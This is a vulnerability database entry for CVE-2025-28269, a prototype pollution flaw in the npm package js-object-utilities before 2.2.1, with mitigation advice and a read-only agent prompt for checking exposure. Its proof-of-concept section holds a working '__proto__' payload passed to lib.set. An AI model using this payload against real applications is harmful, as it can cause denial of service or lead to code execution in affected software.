# CVE-2025-28269: js-object-utilities Vulnerable to Prototype Pollution

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-1321
- **Aliases:** GHSA-hpqf-m68j-2pfx
- **Published:** 2025-04-07T18:52:04.000Z
- **Modified:** 2025-04-14T22:42:17.534Z

## Who should check

- Projects that depend on npm package js-object-utilities (\< 2.2.1)

## Description

\*\*Vulnerability type:\*\*
Prototype Pollution

\*\*Affected Package:\*\*
\* Product: js-object-utilities
\* Version: 2.2.0

\*\*Remedy:\*\*

Update package to version 2.2.1.

\*\*Vulnerability Location(s):\*\*
\`\`\`js
at module.exports (/node\_modules/js-object-utilities/dist/set.js:16:29)
\`\`\`

\*\*Description:\*\*

The latest version of \`js-object-utilities (2.2.0)\`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) \`lib.set\`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

\*\*PoC:\*\*

\`\`\`bash
// install the package with the latest version
~$ npm install js-object-utilities@2.2.0
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
\`\`\`

\`\`\`js
// poc.js
(async () =\> {
    const lib = await import('js-object-utilities');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.\_\_proto\_\_));
    try {
        // for multiple functions, uncomment only one for each execution.
        Reflect.apply(lib.set, {}, \[someObj, "\_\_proto\_\_.pollutedKey", 123\]);
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.\_\_proto\_\_));
    delete Object.prototype.pollutedKey;
})();
\`\`\`

\*\*Reporter Credit:\*\*

Tariq Hawis

## Affected and fixed versions

- npm `js-object-utilities`: affected \< 2.2.1; fixed 2.2.1 (osv)

## Mitigation

- Upgrade js-object-utilities to 2.2.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2025-28269. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2025-28269.md
Affected: js-object-utilities < 2.2.1
Fixed in: 2.2.1

Steps:
1. Search this machine and project for js-object-utilities (npm): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2025-28269 being exploited?

There is no confirmed exploitation: CVE-2025-28269 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2025-28269?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2025-28269?

js-object-utilities \< 2.2.1.

### Is there a fix for CVE-2025-28269?

Yes. Fixed in 2.2.1. Upgrade js-object-utilities to 2.2.1 or later.

### How do I check if I'm affected by CVE-2025-28269?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/rrainn/js-object-utilities/security/advisories/GHSA-hpqf-m68j-2pfx>
- patch: <https://github.com/rrainn/js-object-utilities/commit/05ca694207270b7de275767f3fc93a2a643692a7>
- other: <https://github.com/rrainn/js-object-utilities>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-hpqf-m68j-2pfx> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2025-28269> · JSON: <https://flawdb.com/api/v1/entries/CVE-2025-28269>
